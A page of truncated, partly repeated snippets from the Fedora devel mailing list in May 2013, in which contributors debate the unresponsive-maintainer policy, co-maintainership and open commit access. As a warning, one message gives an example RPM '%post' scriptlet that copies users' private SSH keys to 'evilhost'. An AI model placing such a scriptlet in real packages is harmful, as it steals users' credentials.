Le mercredi 15 mai 2013 à 11:40 -0700, Adam Williamson a écrit :
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro mike.catanz...@gmail.com wrote:
Well the open model has already been tried and proven in openSUSE, and
they're
On Tue, 14 May 2013 20:56:59 -0500
Michael Catanzaro mike.catanz...@gmail.com wrote:
Well I mean, someone actually has to press the OK button, or the
change doesn't happen. Sometimes that can cause delays, at least for
big undermanned projects (GNOME in openSUSE isn't too popular). But
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro mike.catanz...@gmail.com wrote:
Well the open model has already been tried and proven in openSUSE, and
they're still using it because it actually works really well. There
aren't usually any issues regarding overlap of work, though
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro mike.catanz...@gmail.com wrote:
Well the open model has already been tried and proven in openSUSE, and
they're still using it because it actually works really well. There
aren't
On 05/15/2013 01:56 AM, Michael Catanzaro wrote:
I doubt that model would be accepted in Fedora, though. Different
cultures.
Which difference in culture do you see?
JBG
--
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote:
How do they deal with a conflict? Imagine someone there splitting
texlive into 2500 subpackages and then 100 angry contributors
reverting it. What are they going to do in their open model then?
-- Pete
Well the maintainers would just not
On Tue, May 14, 2013 at 7:56 PM, Michael Catanzaro
mike.catanz...@gmail.com wrote:
You can even now also mention in your bug that you are a packager and
would be willing to co-maintain. Not everyone would be interested, but
I suspect a lot of maintainers would be happy for the help and would
On Wed, 15 May 2013 15:06:14 -0600
Ken Dreyer ktdre...@ktdreyer.com wrote:
You can always drop the co-maintainership after you've got the ACLs
and done your work :)
Speaking for myself, if I see someone's contributed a good patch in
Bugzilla, I'd much sooner add them as a co-maintainer
On 05/14/2013 01:51 PM, Simone Caronni wrote:
I have a question about the unresponsive mantainer policy [1].
The unresponsive maintainers policy is to be honest crap and to much in
favor of the maintainer.
Fesco allegedly was looking into it but you know...
What really is needed here is
On Tue, 14 May 2013 17:13:54 +
Jóhann B. Guðmundsson johan...@gmail.com wrote:
On 05/14/2013 01:51 PM, Simone Caronni wrote:
I have a question about the unresponsive mantainer policy [1].
The unresponsive maintainers policy is to be honest crap and to much
in favor of the maintainer.
On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
On Tue, 14 May 2013 17:13:54 +
Jóhann B. Guðmundsson johan...@gmail.com wrote:
On 05/14/2013 01:51 PM, Simone Caronni wrote:
I have a question about the unresponsive mantainer policy [1].
The unresponsive maintainers policy is to be honest crap
On Tue, May 14, 2013 at 18:32:14 +,
\Jóhann B. Guðmundsson\ johan...@gmail.com wrote:
Oh Fesco is only busy but the rest of the community is not omg let me
not waste your holy time sir...
Everybody is busy. I think the point is, that if this is something you find
very important, you
On Tue, May 14, 2013 at 2:32 PM, Jóhann B. Guðmundsson
johan...@gmail.com wrote:
On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
On Tue, 14 May 2013 17:13:54 +
Jóhann B. Guðmundsson johan...@gmail.com wrote:
The unresponsive maintainers policy is to be honest crap and to much
in favor of the
On 05/14/2013 02:32 PM, Jóhann B. Guðmundsson wrote:
On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
Yeah, I sure do know... Fesco folks are busy and doing lots of things
in the areas they contribute to, so if people really want to move things
forward, perhaps they should work on some ideas
On Tue, May 14, 2013 at 11:45:40AM -0600, Kevin Fenzi wrote:
On Tue, 14 May 2013 17:13:54 +
Jóhann B. Guðmundsson johan...@gmail.com wrote:
What really is needed here is to drop the user ownership module
altogether and allow every contribute access to every component or
use group
On Tue, 14 May 2013 21:04:59 +0100
Richard W.M. Jones rjo...@redhat.com wrote:
I suspect the main one is someone putting:
%post
scp /home/*/.ssh/id_rsa evilhost:
into a commonly used package, or something equivalent but more subtle
than that.
Basically you're giving root access to
On Tue, 14 May 2013 18:32:14 +
Jóhann B. Guðmundsson johan...@gmail.com wrote:
Oh Fesco is only busy but the rest of the community is not omg let me
not waste your holy time sir...
I did not say you were not busy, just that it's pretty clear that fesco
members are.
...snip...
I have
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote:
On Tue, 14 May 2013 21:04:59 +0100
Richard W.M. Jones rjo...@redhat.com wrote:
I suspect the main one is someone putting:
%post
scp /home/*/.ssh/id_rsa evilhost:
into a commonly used package, or something equivalent but more
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro mike.catanz...@gmail.com wrote:
Well the open model has already been tried and proven in openSUSE, and
they're still using it because it actually works really well. There
aren't usually any issues regarding overlap of work, though
On 05/14/2013 09:09 PM, Kevin Fenzi wrote:
You can even now also mention in your bug that you are a packager and
would be willing to co-maintain. Not everyone would be interested, but
I suspect a lot of maintainers would be happy for the help and would
add you to make your change
Yes
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote:
Sure, we have a scm-commits list as well. I don't read every commit,
but I do skim them. I can think of lots of times people pointed out
issues they saw in the commit messages.
Well I mean, someone actually has to press the OK button, or
On Tue, 2013-05-14 at 20:56 -0500, Michael Catanzaro wrote:
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote:
Plus I mainly use GNOME programs, and GNOME maintainership in Fedora
seems to be something of an exclusive cabel anyway (can't complain --
Fedora has the best GNOME, period).
22 matches
Mail list logo
